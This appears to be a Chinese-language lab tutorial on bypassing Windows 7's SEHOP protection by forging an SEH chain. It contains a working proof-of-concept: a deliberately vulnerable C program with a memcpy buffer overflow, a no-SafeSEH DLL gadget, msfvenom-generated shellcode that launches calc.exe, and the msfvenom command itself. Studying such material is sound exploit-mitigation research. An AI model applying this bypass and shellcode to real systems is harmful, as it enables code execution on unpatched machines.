1.1 SEHOP保护机制
1.1.1 SEHOP工作原理:
SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下:
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) {
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
if (image has a SafeSEH table)
if (handler found in the table)
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE;
// fall through
}
if (handler is on a non-executable page) {
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE;
else
// enforce DEP even if we have no hardware NX
raise ACCESS_VIOLATION;
}
if (handler is not in an image) {
if (ImageDispatchEnable bit set in the process flags)
return TRUE;
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
[...]
// Skip the chain validation if the
DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0) {
// Skip the validation if there are no SEH records on the
// linked list
if (record != 0xFFFFFFFF) {
// Walk the SEH linked list
do {
// The record must be on the stack
if (record < stack_bottom || record > stack_top)
goto corruption;
// The end of the record must be on the stack
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
goto corruption;
// The record must be 4 byte aligned
if ((record & 3) != 0)
goto corruption;
handler = record->handler;
// The handler must not be on the stack
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF);
// End of chain reached
// Is bit 9 set in the TEB->SameTebFlags field?
// This bit is set in ntdll!RtlInitializeExceptionChain,
// which registers FinalExceptionHandler as an SEH handler
// when a new thread starts.
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// The final handler must be ntdll!FinalExceptionHandler
if (handler != &FinalExceptionHandler)
goto corruption;
}
}
}
在程序转入异常处理前,SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数,如果是,则说明这条SEH链没有被破坏,程序可以去执行道歉的异常处理函数,如果检测到最后一个异常处理函数不是终极异常处理函数,那说明SHE链被破坏,程序将不会执行当前的异常处理函数。
1.1.2 SEHOP绕过思路:
作为SafeSEH强有力的补充,SEHOP检查是在RtlIsVaildHandler函数校验前进行的,也就是说之前我们绕过SafeSEH机制用到过的利用加载模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。
那么面对新的挑战,应该怎么办?
l 攻击返回地址或者虚函数
l 利用未启用SEHOP的模块
l 伪造SHE链
1.1.3 通过伪造SEHOP链绕过SEHOP保护机制
⑴. 原理分析:
SEHOP的原理就是检测SEH链中最后一个异常处理函数的指针是否指向一个固定的终极异常处理函数,那么,我们在在溢出是伪造一个SEH链,就可以绕过SEHOP了。
⑵.环境准备:
i.实验代码:
生成没有SafeSEH保护的dll文件的代码。
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
生成没有ASLR和DEP保护的exe文件。
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90"
"x2cxFFx12x00"//address of last seh record
"x12x10x12x11"//address of pop pop retn in No_SafeSEH module
"x90x90x90x90x90x90x90x90"
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x63x61x6cx63x2ex65x78x65x00"
"x90x90x90"
"xFFxFFxFFxFF"// the fake seh record
"x95xe1xbdx77"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
//strcpy(str,input);
memcpy(str,input,460);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
ii.测试环境:
测试平台:Windows 7 32位
注册表设置DisableExceptionChainVaildation值为0。
开启SEHOP保护机制。
编译环境:
编译器:visual 2008
exe文件:
关闭ASLR,DEP。
Dll文件:
不开启任何的保护机制。
⑶.调试分析:
i.查看缓冲区溢出前的SEH链:
得到,第一个异常处理函数指针为0x0012fe58,最终SEH链异常处理函数值为0x77bde195。
ii.确定缓冲区大小:
缓冲区从0x0012fd80开始,大小为0xd8=216字节。
iii.跳板地址:
还是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012
⑷.攻击过程:
i.计算溢出量:
我们的目的是用跳板地址覆盖函数返回地址以达到控制EIP的目的,是程序挑战到payload执行。
为什么不直接用payload的起始地址覆盖返回地址?
因为,exe文件的异常处理函数是有SafeSEH保护机制保护的,直接覆盖会报错的。而dll文件没有SafeSEH机制的保护,所以可以利用dll文件中的指令作为跳板,控制EIP。
溢出量 =异常处理函数指针–缓冲区起始地址= 0x0012fe58-0x0012fd80=216字节。
ii.伪造SEH链
为了绕过SEHOP保护机制,就应该伪造一个最终的异常处理函数,这个最终的异常处理函数应该符合以下要求:
l 伪造最终异常处理函数指针应该与真实的相同(0x77bde195)
l 伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF
l SEH链指针地址应该能被4整除(SEHOP工作原理中介绍的验证函数中可以看到相关的判断)。
iii.生成payload
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
iv.构造shellcode
综上所述,shellcode结构如下:
v.执行攻击
成功。